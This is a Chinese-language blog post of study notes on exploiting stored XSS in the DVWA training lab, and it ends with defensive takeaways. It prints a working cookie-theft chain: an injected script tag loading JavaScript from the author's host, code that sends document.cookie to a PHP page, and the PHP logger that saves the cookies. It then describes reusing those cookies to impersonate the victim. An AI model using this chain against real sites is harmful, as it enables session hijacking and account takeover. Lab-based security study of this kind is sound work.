Web安全测试学习笔记-DVWA-存储型XSS
XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</script>的代码,那么这个网站就有被XSS攻击的风险,到底有什么风险呢?又是怎么被攻击的呢?sorry,我也不知道>_<
我用DVWA来练习存储型XSS,目标是窃取用户账号(通过拿到对方的登录cookie)。我在本机再开一台虚拟机,用虚拟机(模拟另一个用户)访问:http://IP地址/dvwa/vulnerabilities/xss_s/。这个页面是不是很像留言或者评论页面~

security level = low
1. 在本机登录(模拟攻击方),输入时发现Name做了长度限制,而Message没有,所以攻击点在Message的输入框
输入:<script src="http://172.24.107.155/test.js"></script>


刷新一下当前页面,刚插入的记录仍然存在,说明恶意代码已经被“存储”在这个页面了~
2. 在本机的php服务下放入js代码文件和php文件。
js文件用来在被攻击方采集cookie并传入php页面,php页面将cookie存入名为cookies的文件中。
test.js文件内容:
var img = document.createElement("img")
img.src = "http://本机ip地址/test.php?cookies="+escape(document.cookie);
document.body.appendChild(img);
test.php文件内容:
<?php
$cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies");
?>

3. 在虚拟机登录(模拟被攻击方),访问刚才的页面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻击方也能看到刚才上传的那条记录(此时js代码已经被执行了..>_<..):

4. 获得登录凭证
攻击方此时啥也不用再干,守株待兔,等着js吧cookie发送到本机后,到刚才放入test.js和test.php文件的地方,会发现多了一个名为cookies的文件~

打开cookies文件,里面记录了被攻击方的登陆cookie:

拿到对方的登录凭证之后,我们就能通过构造http请求(把对方的cookie传进去),以对方的身份操作网站,如果对方的是admin的话,Hmm......
security level = medium/high
medium和high模式下,对Message做了输入过滤,对name只替换了<script>,并加上了长度限制,使用Burp Suite抓包把name的输入改为如下即可

一点点感悟:
1. 通过脚本读取cookie其实很好防御,加上HttpOnly就好了>_<
2. 参数的长度校验前后端都要做,只做前端等于没做。。。
如需转载,请注明出处,这是对他人劳动成果的尊重~
Web安全测试学习笔记-DVWA-存储型XSS的更多相关文章
- Web安全测试学习笔记 - DVWA+PHP环境搭建
DVWA(Damn Vulnerable Web Application),是一个用PHP编写的,作为Web安全测试练习平台的合法环境(毕竟咱不能为了练习就随便找个网站去攻击...),也就是俗称的靶场 ...
- Web安全测试学习笔记-DVWA-CSRF
CSRF(Cross-site request forgery)跨站请求伪造,CSRF的原理简单来说就是攻击者以用户的名义对服务器发起请求,从而达到攻击目的.与XSS不同之处在于,XSS是盗取用户co ...
- Web安全测试学习笔记-DVWA-SQL注入-2
接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL(这个信息非常重要~),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息. 1. 获 ...
- Web安全测试学习笔记-DVWA-盲注(使用sqlmap)
之前的sql注入页面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查询结果和错误信息.而下面的页面,返回信息只有存在和不存在两种情况, ...
- Web安全测试学习笔记-DVWA-登录密码爆破(使用Burp Suite)
密码爆破简单来说,就是使用密码本(记录了若干密码),用工具(手工也可以,if you like...)一条条读取密码本中的密码后发送登录请求,遍历密码本的过程中可能试出真正的密码. 本文学习在已知登录 ...
- Web安全测试学习笔记-DVWA-图片上传
很多网站都有上传资源(图片或者文件)的功能,资源上传后一般会存储在服务器的一个文件夹里面,如果攻击者绕过了上传时候的文件类型验证,传了木马或者其他可执行的代码上去,那服务器就危险了. 我用DVWA的文 ...
- Web安全测试学习笔记 - 文件包含
基础知识 文件包含指的是一个文件动态引用另一个文件,这是一种非常灵活的动态调用方式.有点类似Java引用jar包,但区别在于jar包引用后一般是固定不变的(一般不能动态改变所引用的jar包名称),而文 ...
- Web安全测试学习笔记(Cookie&Session)
一,Session:含义:有始有终的一系列动作\消息1, 隐含了“面向连接” 和“保持状态”两种含义2, 一种用来在客户端与服务器之间保持状态的解决方案3, 也指这种解决方案的存储结构“把××保存在s ...
- Web安全测试学习笔记-DVWA-SQL注入-1
SQL注入的定义网上很多,作为一个初学者,我对SQL注入的理解是这样的:网站应用一般都有后台数据库(不论是关系型还是非关系型),用户在网站上的绝大部分操作,最终都会跟数据库交互(也就是执行一串SQL语 ...
随机推荐
- 用span写一个特殊样式的1
用span写一个如下样式的 1 span { display: inline-block; width: 17px; height: 17px; background: var(--themeColo ...
- 这道Java基础题真的有坑!我求求你,认真思考后再回答。
本文目录 一.题是什么题? 二.阿里Java开发规范. 2.1 正例代码. 2.2 反例代码. 三.层层揭秘,为什么发生异常了呢? 3.1 第一层:异常信息解读. 3.2 第二层:抛出异常的条件解读. ...
- 在C#中进行时间和时间戳的转换
一.时间转换为 毫秒时间戳 由于 UTC 和 中国时区有时间差, 所以我们在时间转换为时间戳的时候, 我们需要多减去8个小时的时区差. // 时间转换为 毫秒时间戳 public static dou ...
- HYSBZ 1040 骑士 (基环外向树DP)
Z国的骑士团是一个很有势力的组织,帮会中汇聚了来自各地的精英.他们劫富济贫,惩恶扬善,受到社会各界的赞扬.最近发生了一件可怕的事情,邪恶的Y国发动了一场针对Z国的侵略战争.战火绵延五百里,在和平环境中 ...
- IT兄弟连 HTML5教程 响应式网站的内容设计
基于响应式开发网站,除了页面的布局是我们设计的重点,网站中显示的图片和文字也是我们不能轻视的内容. 1 响应式图片显示内容设计 真正具有响应性的Web设计是完全调整网站以满足访问者的设备.我们需要在 ...
- c++-重载运算符(+-,++,--,+=,-=,cin,cout)
操作符重载 自定义类型需要操作符重载 运算符重载入门技术推演 友元函数和成员函数实现2元运算符重载 友元函数和成员函数实现1元运算符重载(前置++,前置--,后置++,后置--) 友元函数实现运算符重 ...
- sql手工注入1
手工注入常规思路 1.判断是否存在注入,注入是字符型还是数字型 2.猜解 SQL 查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.查询到 ...
- windows + flutter +android+ vscode 安装配置运行流程(详细版本)
flutter 是由谷歌发布的一个全新的响应式.跨平台.高性能的移动开发框架,可以快速在iOS和Android上构建高质量的原生用户界面. 框架特点 快速开发:Flutter的热重载可以快速地进行测试 ...
- 使用百度大脑iOCR,快速自定义机票行程单模板识别
1. 功能介绍百度已经推出了iOCR财会票据识别,针对财会报销场景提出的专项解决方案,可对各类财务票据.报销单.银行回单.对账单进行自动分类及结构化识别,并支持用户为固定版式的新票据/单据自定义结构化 ...
- docker快速部署本地项目到服务器(tomcat8+mysql8)
目标是:将本地运行的spring项目,部署到服务器上 为什么使用docker? 环境隔离 服务器上,各种环境交杂,使用docker,能清楚的把各个项目进行隔离,不单维护的人员方便,也会省去很多维护这些 ...